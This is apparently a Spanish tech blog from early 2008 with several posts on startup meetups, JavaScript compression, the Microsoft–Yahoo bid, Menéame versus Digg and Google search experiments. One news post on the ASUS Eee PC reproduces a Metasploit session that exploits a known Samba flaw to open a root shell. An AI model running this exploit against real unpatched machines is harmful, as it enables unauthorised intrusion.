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Iniciador mes de febrero 2008

Mañana miércoles 13 de febrero a las 18:15 se celebra la nueva edición de iniciador. El evento está dedicado al desarrollo de producto y tendremos como ponente a Alberto Knapp Bjeren. Alberto es el director de la consultora The Cocktail, que se dedican a “consultoría de experiencia de usuario y diseño de interacción” y que tiene como producto más emblemático la plataforma de creación de blogs gratuitos La Coctelera.

El evento pinta estupendamente y como sucedió en la edición del mes pasado, seguramente veamos una exposición excelente y llena de buenos consejos y anécdotas. Os animo como siempre a venir a todos. En esta edición tendré el placer de ir con Ajo y con otro compañero así que si os pasáis mañana dejarnos un comentario y nos vemos.

Fecha: Miércoles 13 de febrero.
Hora: 18.15h
Lugar: Oficina cancha de la CAN en Juan Bravo Nº3 (Madrid)

Hackean el portatil ASUS Eee

Leo hace escasos segundos que la gente de RISE Security acaban de hackear el sistema operativo que viene por defecto con los ASUS Eee. Resulta que el SO que viene presintalado en los portátiles es Xandros, que es una versión derivada de Corel Linux que a su vez proviene de Debian Linux. Parece ser que por defecto viene con una versión del demonio Samba con fallos conocidos y activado por defecto. Una vez que sabían eso, simplemente emplearon el framework metasploit, cargaron el exploit para esa versión de samba y consiguieron root en el sistema.

msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -> 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

La noticia es muy reciente y no tengo forma de conformarlo así que tomad la información con cautela. No obstante, habiendo trabajado con sistemas embebidos, no me sorprende lo más mínimo. Suele ser una constante en todos estos tipos de sistemas, que resulta muy caro y difícil crear actualizaciones periódicas para cada actualización del software que incorpora el dispositivo. Esto es debido a que la compilación de muchos de estos paquetes de software es compleja y generalmente requiere que se parcheen las versiones de forma manual para acoplarlo al sistema empotrado. Esto consume mucho tiempo y recursos y por tanto los fabricantes deciden no actualizarlo tan a menudo y directamente no actualizarlos. No obstante, como dirían algunos: “nice hack!“

Comprimir el código Javascript

Las aplicaciones web cada vez son más complejas. Cada vez se requiere más código Javascript que permita obtener la funcionalidad deseada. Debido a esta necesidad, y al igual que sucedió con las librerías en los sistemas operativos, han ido surgiendo varias librerías de código Javascript. Estas, además de descargar al programador de codificar tediosas rutinas para el acceso al DOM y similares, proporcionan una capa de abstracción que permite la portabilidad del código a distintos navegadores. Para los profanos, explico la situación. Hoy por hoy existen diversos navegadores web, siendo probablemente el Firefox, Internet Explorer, Safari y Opera los más importantes. Cada uno de estos navegadores implementa el motor de renderizado web de forma distinta. Algunos de ellos se ciñen a los estándares oficiales, mientras que otros deciden introducir sus propios elementos xhtml, html, etc al margen del resto. Esto genera graves problemas de interoperabilidad para las páginas web. Un diseño que emplea ciertos elementos CSS, es probable que no funcione como se deseaba al visualizar la misma página en otro navegador. Existe una problemática adicional, cada navegador luego tiene sus múltiples versiones que soportan subconjuntos diferentes de los estándares, agravando los problemas de interoperabilidad.

Las librerías Javascript proporcionan una capa de abstracción para el programador y le evita tener que programar distintas versiones del mismo código para los distintos navegadores. Dos de las más famosas probablemente sean la librería jQuery y Prototype. Sin embargo, a diferencia de las librerías de un sistema operativo, éstas otras han de ser descargadas (si no han sido cacheadas, lo que sucede el 50% de las veces) por cada usuario que visualice la web. Esto supone un problema de rendimiento, ya que el navegador no comenzará a hacer uso del código Javascript hasta que este haya sido descargado. Cuanto mayor es el tamaño de la librería, peor es el rendimiento.

Para evitar estos problemas de rendimiento, voy a introduciros una herramienta desarrollada por Yahoo para reducir considerablemente el tamaño de estas librerías y maximizar la velocidad de carga de la web. La herramienta, que se llama YUI Compressor es una aplicación Java (jar) a la que le damos el fichero Javascript de entrada y nos devuelve por la salida estándar una versión comprimida de la misma. A continuación os muestro las prueba que he realizado con la última versión de jQuery:

ergosum@braniac:/var/www/js$ ls -la jquery-copy-1.2.2.js
-rw-r–r– 1 ergosum ergosum 95285 feb 8 16:49 jquery-copy-1.2.2.js

ergosum@braniac:/var/www/js$ java -jar yuicompressor-2.3.4.jar jquery-copy-1.2.2.js > jquery-compress-1.2.2.js

ergosum@braniac:/var/www/js$ ls -la jquery-compress-1.2.2.js
-rw-r–r– 1 ergosum ergosum 52435 feb 8 16:51 jquery-compress-1.2.2.js

Como podemos apreciar, al comprimir la librería hemos obtenido una tasa de compresión del 45%, lo cual es increíble. El problema con el algoritmo de compresión es que convierte la librería en algo bastante ilegible. Si deseamos reducir el tamaño del código pero al mismo tiempo mantener algo de coherencia y no ofuscarlo, podemos lanzar la herramienta como sigue:

ergosum@braniac:/var/www/js$ java -jar yuicompressor-2.3.4.jar –nomunge –preserve-semi jquery-copy-1.2.2.js > jquery-compress-1.2.2.js

ergosum@braniac:/var/www/js$ ls -la jquery-compress-1.2.2.js
-rw-r–r– 1 ergosum ergosum 52970 feb 8 17:21 jquery-compress-1.2.2.js

Podemos comprobar la opción para añadirle los puntos y comas el tamaño ha incrementado ligeramente (44.41% de compresión). Sin embargo he de reconocer que no sale mucho más legible que antes. También podemos añadirle el parámetro –line-break n indicándole al parser que debe añadir un retorno de carro cuando llegue a la línea n. Esto lo hace algo más legible pero no mucho más.

Como nota adicional, leía ayer los resultados que han obtenido la gente de PBWiki (muy interesante por cierto) con distintas herramientas para el rendimiento de las librerías. Para jQuery obtuvieron los siguientes datos:

Minified	Time Avg	Samples
minified	519.7214	12611
packed	591.6636	12606
normal	645.4818	12589

Donde minified corresponde a la salida comprimida mediante la herramienta que hemos comentado, packed corresponde con librerías comprimidas con el empaquetados Packed y por último normal corresponde con la librería tal cual, sin procesar.

Se aprecia claramente como la minified es más óptima que la packed y la razón es porque, aunque con Packed el tamaño del fichero es menor, es necesario realizar un esfuerzo extra para desempaquetar el fichero una vez que llega al navegador, resultando en una suma total de tiempo mayor que en el caso del minified.

En conclusión, una herramienta muy útil que nos permite minimizar el tiempo de carga de nuestras librerías Javascript. Además de la compresión también podemos usar recursos como el mod_gzip para comprimir el archivo desde el servidor a nuestro navegador y seguir ganando en eficiencia.

Invitación para la conferencia FOWA en Miami

Del 28 de febrero al 1 de marzo se celebra en Miami, EEUU una de las conferencias más importantes del mundo, la Future of web Applications (FOWA) organizada por Carsonified. El evento traerá a lo mejor de lo mejor del mundo de Internet: Flickr, WordPress, Google, Digg, Pownce, Twitter o Plaxo entre otros.

Tuve el honor de participar en la última edición de la conferencia en Londres en octubre y he de decir que es increíble. Pude escuchar grandes presentaciones y el honor de hablar con los líderes del mercado. Fue durante ese evento precisamente que conocí a Christian Van Der Henst, fundador de Maestros del Web. De su mano os traigo hoy una invitación para el evento en Miami que sin duda alguna merece la pena. Me contaba precisamente esta mañana que todavía no tenían ganador para la entrada así que os animo a todos a intentarlo.

¿Cómo conseguir la invitación? Muy sencillo:

“1 pase para algún lector en España. Recordando que para el SES Latino el año pasado, más de alguién cruzó el charco para asistir, queremos ver quien se anima esta vez. ¿Cómo te ganas el pase? Compra un boleto a Miami para estar durante los días del evento y confírmanos por correo los datos del boleto para que te garanticemos tu pase. El primero que demuestre el interés con el boleto se lleva el pase.“

¿Acaso no es sencillo? Lo cierto es que si no tuviera mucho trabajo yo mismo lo intentaría conseguir. La verdad es que quien lo consiga no se va a arrepentir. No solo merece la pena la conferencia, que de por si, es impresionante, sino el ver una ciudad como Miami. Pase lo que pase garantizo que cualquiera que vaya se lo va a pasar en grande, así que si tenéis un hueco o necesitáis unas merecidas vacaciones, no dudéis en intentarlo y por favor, mandarnos las fotos. ¡Ya envidio al ganador!

Lo dicho, comprad el billete y enviárselo a la gente de Maestros del Web y podéis ganaros esa invitación.

Diferencias culturales: Meneame vs. Digg

El otro día enviamos una noticia a Menéame y obtuvimos un pico de tráfico respetable. No obstante, el fenómeno me hizo reflexionar. Estuve comprobando la página principal de Menéame y me asombró lo poco tecnológicas que eran las noticias en la página principal. Esas noticias alcanzan la página principal porque mucha gente las vota y, en consecuencia, reflejan de manera fehaciente, las inquietudes de los internautas españoles. A raíz de esto, se me ocurrió realizar una comparación con sitios semejantes, pero en otros países. Qué mejor ejemplo que Digg. Es muy interesante el estudio del interés social de un país a partir de sitios como estos, debido a que posiblemente, se pueda extrapolar a un fragmento de la población bastante amplio.

Para corroborar mi hipótesis, voy a mostraros las páginas principales tanto de Menéame como de Digg de ahora mismo.

Menéame

Pedro Duque: Si hubiera llegado vida extraterrestre a la Tierra sería de muy mala educación por su parte no saludar
El informativo de Sánchez Dragó (TeleMadrid) pasa de puntillas sobre la noticia del Severo Ochoa
Matan al último lobo del Cuera, en Asturias, y parece que hay que alegrarse… (¿?)
La nómina no avanza al mismo ritmo que el coste de la vida
Los cereales Special K, condenados por su falso 0% de grasa
Una burrada mas de lo que pueden hacer algunos cazadores
Los precios de los alimentos seguirán subiendo mientras el sector agrario se arruina
Los Mossos golpean y encañonan a un hombre tras equivocarse de piso en un registro
El ‘caso Enaitz’ aviva los medios participativos
Microsoft lanza una OPA a Yahoo
Los obispos ahora matizan: “Se debe hablar con los terroristas si se puede
Pfizer cede medicamento para luchar contra el SIDA
El ministro Molina boicotea un acto anticanon conjurándose con la SGAE
1 chica, 6 soldados
FACUA también denuncia a Yoigo y anuncia recomendaciones a los usuarios estafados
Quiero ser chino
El alcalde de Londres piensa aprobar una tasa de 25 libras/día (37 euros/día) a 4X4 que circulen por la ciudad
El avión de Rajoy se sale de pista
El conductor que atropelló y mató a una mujer en Sot de Ferrer reclama 6.695 euros por daños
Estoy amenazado por ETA, pero he sufrido una terrible campaña de desprestigio por parte de la AVT

Digg

Sperm cells created from female embryo
3 Years Of Embarrassing CNN.com Headlines
101 Design Patterns & Tips for Developers
Cheney: ‘We Haven’t Violated Anybody’s Civil Liberties’
Official: Del Toro to take charge of The Hobbit
Face Cream Can be Deadly
Official Aircraft Identification Chart
Private Cloud Is a Rocking Bed (Both Ways)
Navy Tests High-Powered Electromagnetic Railgun
Indian rhino loses fight for life
Microsoft to buy Yahoo! for $44.6 billion
Soldier suicides reach record level, study shows.
Google 4Q Earnings Miss Expectations & Plummets After Hours
DNA leads police to salami-loving thief
New Solar Panel Technology Stylish and Sustainable

Salvo dos noticias que son la misma, la OPA de Microsoft a Yahoo, y la imagen del rinoceronte indio, el resto de las noticias son muy diferentes. Se aprecia claramente como en Menéame predominan los localismos, mientras que en Digg se valoran noticias de ámbito más general. Incluso me atrevería a decir que, aunque Digg ya no trata noticias tecnológicas, como sucedía antes, el contenido en general sigue siendo científico/técnico. Si nos volvemos a Menéame veremos que, salvo un par de noticias, el resto tiene poco o nada que ver con ciencia y/o tecnología.

La pregunta entonces es, ¿es esto debido al tipo de audiencia que se construye alrededor de estos sitios, o por el contrario, es el reflejo de las inquietudes de la sociedad correspondiente? No me atrevería a dar una respuestas porque es probable que sea un poco de las dos. Por un lado, la audiencia que se concentra en estas webs lo hacen porque les gusta el contenido de forma que, si existe suficientes personas con unos intereses comunes, las temáticas que se traten serán las de este colectivo. Esto me lleva a plantearme otra pregunta. Al ser mayor el número de personas que tienen intereses más generales, frente al porcentaje de personas que les apasiona la tecnología, ¿no correría peligro este último colectivo de ver su web de noticias favorita “polucionada” por otro contenido no relativo a la tecnología? Por ejemplo, este mismo fenómeno se da en la televisión. Cuando se le pregunta a los directores de las principales cadenas, por qué no existen programas de mayor contenido y profundidad, responden que esos programas no venden. Lo que la mayoría quiere ver son programas del corazón. Sucede entonces que estos colectivos minoritarios van migrando a otros servicios web en el momento en que estos alcanzan la madurez (mainstream), es decir, cuando acceden a ellos el usuario medio que emplea Internet como hobby.

Comprobando el tipo de audiencia que tienen ambos sitios, me doy cuenta de que hemos herrado en el vehículo que empleamos para difundir el contenido en Tecnocracia. El objetivo es hablar de tecnología, y por ende, le veo poco o ningún sentido, bombardear una audiencia como la de Menéame con nuestros links. Esto mismo lo discutía con mi amigo Zordor de frikis.net antes de ayer en el Beers & Blogs que se celebró en Madrid. De hecho, fue un tema recurrente en las conversaciones que tuve, por ejemplo con Pedro Sánchez de Viadeo o con Nicolas Alvez de Wikio. Todos coincidían en que al final sigue siendo más efectivo, construir una relación con los lectores/subscriptores que se sienten identificados con tu contenido, que canalizar grandes volúmenes de tráfico que interactuan poco o nada con el resto de contenidos del sitio web.

Por ello y a partir de ahora, queremos centrarnos en promocionar nuestro contenido en los círculos tecnológicos adecuados. Me interesaría mucho leer vuestros comentarios al respecto. ¿En que blogs/webs creeis que deberíamos promocionar el contenido de Tecnocracia? ¿Qué tipo de noticias son las que leéis habitualmente?

Microsoft se ofrece a comprar Yahoo por 44600 millones de dólares

Madre mía como ha empezado el año 2008. Con la sombra de la recesión económica en el horizonte, algunos ya nos esperábamos sorpresas como la que acabamos de recibir, Microsoft acaba de realizar una oferta por Yahoo de $44600 millones en metálico y en acciones de la compañía. Desde hace ya unas semanas se viene hablando mucho de Yahoo. Al principio eran rumores de despidos de unos 200 ingenieros y posibles traslados a las sedes europeas. Posteriormente se comenzó a barajar despidos masivos de entre 1000 y 1500 trabajadores y la publicación del balance de resultados del último cuatrimestre (Q4) fue la gota que colmó el vaso.

Los benficios en el último cuatrimestre subieron de $1200 millones hace un año a $1400 millones, es decir un incremento del 14%. Sin embargo, los ingresos netos fueron de $206 millines frente a los $269 millones de hace un año. Las acciones están a $19.18 cuando en octubre alcanzaban un máximo de $34.08 (un descenso del 46%).

La oferta de Microsoft es por un valor de $44600 millones que se pagarían en dinero y con participaciones de Microsoft. Esta valoración colocaría las acciones de Yahoo en los $31, un precio nada despreciable teniendo en cuenta el batacazo que se ha pegado el Nasdaq desde comienzos de año.

Como ya comentan varios blogs, la adquisición plantea numeroso problemas, principalmente el miedo a despidos masivos por parte de Microsoft ya que, como es evidente, el objetivo de ésta es conseguir tecnología, audiencia y el posicionamiento que tienen muchas propiedades de Yahoo. Así mismo, se prevén nuevos problemas y acusaciones de monopolio en Europa, en donde Microsoft sigue teniendo casos abiertos, siendo el más reciente, las acusaciones de Opera sobre el monopolio y malas artes en el sector de los navegadores.

¿Qué opinaís? ¿Habrá despidos? ¿Habrá problemas legales? ¿Qué os parece que Yahoo pase a ser Microsoft?

UPDATE: Acaba de terminar la rueda de prensa con Ballmer y ha comentado que llevaban en negociaciones con Yahoo unos 18 meses. Le han preguntado también por el nombre de la marca y ha contestado que si al final se cierra el trato, verán como integrar windows live y office live con las propiedades de Yahoo.

Google ensayando nuevos tipos de búsquedas

La forma de buscar información en Internet ha permanecido prácticamente inalterada en los últimos años. Sin embargo, y aunque Google es el campeón indiscutible de las búsquedas (58.4% de las búsquedas en EEUU), no se está durmiendo en los laureles. Hace unos días desvelaba en su blog un nuevo tipo de visualización para los resultados de la búsqueda. El proyecto lleva en marcha desde mayo de 2007, y cada poco tiempo han ido añadiendo cosas nuevas. La última de todas son las visualizaciones de información adicional. El proyecto consta por el momento de tres tipos de visualización:

Línea temporal
Mapas
Información adicional

La primera categoría nos permite realizar búsquedas de las palabras claves que queramos, en donde los resultados aparecen agrupados por años. Sale una línea temporal en donde aparecen los años más recientes (por defecto salen de 1950 al 2000) y una gráfica de barras mostrando el número de resultados que corresponden con esa década. Si se pincha en la década en cuestión, la página se recarga mostrando una nueva línea temporal con los resultados distribuidos en los años de la década seleccionado (a esto se le llama drill down). El sistema permite llegar hasta resoluciones de meses dentro de un año, pero en las pruebas que he realizado he descubierto que la calidad de los resultados no es buena. Es preferible quedarse a nivel de año para obtener resultados más significativos. Adicionalmente, se puede introducir el rango de años sobre los que queremos obtener resultados.

El segundo tipo de visualización es mediante el uso de Google maps. Cada resultado de la búsqueda se dibuja en un mapa de forma que se ve la distribución geográfica de los resultados. En mi opinión, este tipo de representaciones son muy interesantes para búsqueda de restaurantes, tiendas y demás, pero también para representar la biografía de una persona famosa y descubrir todos los lugares que frecuentó durante su vida.

El último tipo de visualización que han estrenado se llama “info” o información adicional. Lo cierto es que no es un nuevo tipo de visualización sino más bien una herramienta para realizar minería de datos (Data Mining) y extracción de la información de los resultados de una búsqueda. Es decir, permite extraer fechas, medidas, lugares o imágenes de cada resultado que obtengamos. Por ejemplo, si le decimos que nos extraiga las fechas nos marcará en los resultados, los fragmentos de texto de cada resultado en donde podemos encontrar fechas. De no existir, nos lo indicará con un mensaje (No dates for this page). Esta herramienta tiene una potencia increíble si se sabe emplear correctamente. Por ejemplo, se podría hacer un filtro para buscar compra ventas de propiedades y que marque todos los resultados en donde se indiquen compra ventas de propiedades de cualquier tipo (por ahora los filtros son fijos y no permite añadir ninguno más). Este tipo de herramientas requiere un elevado procesamiento semántico y me sorprende verlo en Google. ¿Por qué digo esto? Pues porque hace muy poco Marissa Meyer comentaba (y no consigo encontrar la fuente) que ellos no se iban a convertir en un buscador semántico del palo de Powerset. Sin embargo, los últimos experimentos que están haciendo tienen todo que ver con búsquedas semánticas. El tiempo lo dirá. Por ahora a disfrutar de los nuevos juguetitos.

ADS: Socialistics

Como buen domingo, os presento la aplicación de la semana. Hoy quería mostrar una aplicación para Facebook llamada Socialistics. Algunos de vosotros puede que ya la conozcais, porque tuvo bastante publicidad hace unos meses, pero para los que sea la primera vez os cuento para que sirve. Socialistis permite obtener datos estadísticos muy interesantes sobre los contactos en Facebook. Esto es muy curioso porque nos permite entender nuestras relaciones sociales con un grado de detalle bastante fino.

La aplicación proporciona distintas secciones aunque sin lugar a dudas, la más interesante es la de my stats. En ella podemos obtener gráficos basados en múltiples criterios, como por ejemplo:

Genero
Localización actual
Edad
Educación

Existen más criterios, pero estos cuatro últimos me parecen de los más interesantes. Por ejemplo, aunque en la vida real tengo más amigas que amigos, parece ser que en Facebook solo encuentro a amigos (74%). Si analizo las localizaciones actuales de mis contactos, la gran mayoría están en Madrid (36,67%), seguido por Berkeley, Londres y San Francisco. En cuanto a las edades de mis contactos, la gran mayoría ronda los 26, seguido por gente de 27. Es curioso esto último, porque siempre me he relacionado con gente bastante más mayor que yo, sin embargo, los contactos en Facebook rondan casi todos mi edad. Supongo que será porque tengo a varios compañeros de universidad y del colegio. Y efectivamente, esto lo puedo comprobar si obtengo la gráfica de educación. El 43.24% de mis contactos ha ido a UC Berkeley, seguido de 18.92 en la Universidad Politécnica de Madrid. Luego tengo gente de la UCM, Stanford y Cambridge.En fin, es una aplicación interesante que nos permite analizar nuestros contactos y por ende, con que tipo de gente nos relacionamos online. Bueno, espero que os guste la aplicación y seguimos estando abiertos a sugerencias de nuevas aplicaciones.

Start-up clinic

El otro día me enteré que Ryan Carson, fundador de Carsonified y organizador de las conocidas conferencias Future of Web Applications, está organizando un nuevo evento. El taller recibe el nombre de Start-up clinic y tiene como objetivo proporcionar consejo a todos aquellos que quieran comenzar una empresa. El evento, que tiene 12 plazas, permite proporciona consejo uno a uno entre los expertos y cada uno de los asistentes. Inicialmente parece un taller normal, pero cuando se lee la estructura y contenido del taller, la idea es genial:

Día 1:

Tu idea y su viabilidad
Obtener inversión para tu empresa
Cosas importantes, aunque aburridas, relacionadas con bancos (¿qué banco es el más adecuado para ti?)
Cuenta de ventas (¿cómo conectar la cuenta de ventas con la del banco?, ¿cómo conectarla con la web?, etc)
Servicio al cliente (¿cuantas consultas esperar?, ¿cómo hacer que los clientes vuelvan?)
Infraestructura IT y oficina (¿qué software usar?, ¿que control de versiones usar?, ¿pc o mac?)
Sitios web (Como gestionar las webs, ¿es necesario tener blog?, beta testing y lanzamiento)
Diseño y construcción de la aplicación web

Día 2:

Marketing
Registrando la compañía
Contabilidad y cuentas
Como mantenerse en el negocio (cash flow, márgenes de beneficios, costes ocultos)
Como trabajar (como trabajar, terminar cosas y no morir en el intento)
El equipo AKA los empleados (como y cuando decidir contratar a alguien, contratos y demás temas legales)
Plan de lanzamiento

El taller es en inglés y se organiza en Bath UK, pero personalmente la idea me parece fantástica. Cubren muchos temas que considero que son clave en una startup y que poca gente, sin experiencia, sabe como tratarlos. Los contenidos están más desglosados en la web del evento, aquí solo he traducido lo básico.

Sería interesante hacer esto en España, que gente con experiencia de varios años en startups se prestara a hacer un cursillo similar. ¿Tal vez la gente de iniciador?. Le comenté a Ryan que por qué no convertía el evento en algo itinerante. Se podría mover el evento de país en país y conseguir que expertos locales den algunas de las charlas. De esta forma mucha más gente se beneficiaría. Otra recomendación, por favor, los precios en euros, los pounds son MUY caros para toda Europa.

En conclusión, una idea genial que espero verse extender en otros países, especialmente a España. Os mantendré informados respecto al evento. Si Ryan decide ofrecerlo en otros países lo comunicaré. ¿Alguno conoce algo parecido aquí?

Iniciador Enero 2008

Hace dos semanas se celebró, como ya avisamos en un post anterior, la nueva edición de iniciador. Este mes venían a hablar los socios de la empresa Secuoyas, Rafa Garrido (Fundador) y Steven Posner. La charla estaba dedicada a la internacionalización de las empresas, aunque he de reconocer que se habló de muchas más cosas igual de interesantes.

Lo primero a destacar fue la poca gente que vino al evento. Debíamos ser unas 30 personas frente a las 60 de otras ediciones. Supongo que el tema no le debió atraer a mucha gente, aunque he de reconocer que en mi opinión, fue la mejor reunión de iniciador de las que he asistido hasta el momento.

La sesión comenzó como siempre, con una presentación de todos los asistentes. A continuación Rafa expuso los inicios de la empresa. Fue muy interesante porque describió los comienzos de su empresa con pelos y señales y fue, al menos para mi, muy ilustrativo de los problemas a los que me voy a enfrentar en un futuro cercano con mi startup.

Rafa comentó que Secuoyas no había recibido financiación de ningún tipo. La empresa se formó mediante la capitalización del paro allá por el año 2001. Si mal no recuerdo el capital social inicial fue de 2 millones de pesetas. Lo inicios fueron duros. Fue la época del estallido de la burbuja de las punto com y en aquel momento nadie quería saber nada de ninguna empresa de Internet. Por otro lado, el objetivo de la empresa no estaba claro. Según comentó Rafa, comenzaron dando bandazos, enfocándose en distintos productos y nichos de mercado hasta que encontraron su lugar. Para él, uno de los errores más graves que cometieron fue el de abrir la central en Ciudad Real (por motivos familiares de uno de los socios fundadores), en lugar de en Madrid. Pasado un tiempo se dieron cuenta del grave error y se movieron a la capital.

Poco a poco la empresa fue creciendo y siempre mantuvo un balance positivo. La evolución de la compañía fue la siguiente:

2001: 2 socios y 100.000€ de facturación anual
2002-2oo3: 5 personas y 200.000€ de facturación anual
2004: 7 personas y 300.000€ de facturación anual
2005: 15 personas y 500.000€ de facturación anual
2006: 25 personas y 1.000.000€ de facturación anual
2007: 40 personas y 2.000.000€ de facturación anual

La evolución cuenta una historia muy interesante. Desde el 2001 al 2003 se atraviesa un período de poca actividad económica (debido al estallido de la burbuja de Internet), al que Rafa llama el desierto. Ya en 2004 comenzaron a enfocarse en su negocio y se puede observar como a partir de ese punto fueron creciendo. Se acuñó la mentalidad de trabajo de: “focus, focus, focus“. Es decir, es indispensable centrarse en algo y mantener el objetivo centrado en todo momento para evitar la diletancia y el destinar recursos a objetivos colaterales. En 2005 el mercado Español comienza a dar signos de mejoría y las facturaciones comienzan a incrementarse. El 2006 es el año de la internacionalización. La empresa consigue establecer un pié en Londres y comienza a introducirse en la BBC. En ese momento crean una oficina virtual en Londres para atender a su mayor cliente, la BBC.

Me llamó la atención el enfoque de la empresa con respecto a la internacionalización. Hoy por hoy, comunicarse con cualquier parte del mundo es trivial y por tanto, no tiene mucho sentido mantener costosas oficinas en distintas capitales. Como forma de ahorrar en costes fijos, Secuoyas optó por montar una oficina virtual (centro de negocios). ¿Esto qué es? Pues tener un número inglés redirigido a una línea española y un buzón en donde todo lo que se recibe se envía también a España. De esta forma, da la sensación de proximidad a los clientes británicos, pero sin el costoso mantenimiento de una oficina, nada menos que en Londres. Sin embargo, existe un problema, a veces las reuniones físicas son obligatorios. Para solucionarlo, Rafa y sus socios decidieron establecer una rutina de reuniones bisemanales. Es decir, cada 2 semanas, el CEO y fundador volaba a Londres (usando líneas aéreas de bajo coste para minimizar gastos), para supervisar que el cliente estaba contento.

Nos comentó una anécdota curiosa y es que la gente de la BBC les veían tan a menudo que les daba la impresión de que realmente Secuoyas era una empresa británica, mientras que otras empresas que tenían la sede al otro lado de la calle, apenas aparecía por la BBC. Lo cual me llevó a reflexionar que Rafa hace muy bien. Para ellos, todos los clientes son importantes y se encargan de demostrarlo mediante la presencia periódica del CEO en las reuniones. De esta forma se fueron labrando un nombre, especialmente dentro de la BBC. Como dice mucha gente, los clientes son lo primero, sin embargo, no mucha gente sigue al dedillo esta enseñanza. Actualmente trabajan para las 4 grandes divisiones de la BBC, que a efectos prácticos, es como trabajar para 4 empresas diferentes.

Otra de las experiencias interesantes que contaron fue sobre su plan de negocios. Hace 3 años se pusieron una serie de metas a anuales para un período de 4 años, entre ellas, metas de facturación. Según nos comentaban, no tenían mucha idea de como iban a alcanzarlas, sin embargo, parece ser que las han ido cumpliendo escrupulosamente.

Gran parte del éxito lo atribuyen a la internacionalización de la empresa (mediante la cual estaban facturando 700.000€). Comentaron que en España no existían grandes proyectos multimedia y que si seguían enfocándose al mercado español, nunca conseguirían alcanzar las metas económicas que se habían propuesto. Para Rafa, es más sencillo gestionar un proyecto grande que los pequeños, y evidentemente, los beneficios son mucho mayores. Para expandirse en otros países siempre buscan a alguien de allí que les permita abrir el mercado. Para ello tratan de rodearse de la figura del connector (algo de lo que se habló en el anterior iniciador) que les permita contactar con gente en otros países dispuesta a ayudarles con el negocio allí.

Actualmente están trabajando en un proyecto a nivel global y que pretenden distribuir mediante varios partners (entre ellos estoy convencido de que está la BBC).

Como podéis ver, la reunión fue muy entretenida y creo que se hablaron de muchos aspectos interesantísimos. Desde Tecnocracia queremos agradecer a Rafa y a Steven su amabilidad y total transparencia con la que nos contaron sus aventuras y el estado actual de la empresa. Creo que pocos socios son capaces de hablar tan libremente de su empresa.

Durante el networking que sobrevino la charla, tuve la oportunidad de charlar con Angel Medinilla de Presión blogosférica, y quedé encantado con los temas que debatimos junto con Wilhelm Lappe y Pablo López. Angel trabaja como gestor de proyectos a través de su empresa Proyectalis, y me recomendó un libro que me compré a los dos días, “Radical: El éxito de una empresa sorprendente” de Ricardo Semler. No me lo he terminado de leer pero puedo aseguraros que es un libro fascinante en donde se proponen novedosos métodos de gestión que siempre he defendido (ya comentaré sobre el libro cuando me lo haya terminado). ¡Muchas gracias Angel!

En fin, espero ver nuevas caras el próximo vez y que la asistencia aumente.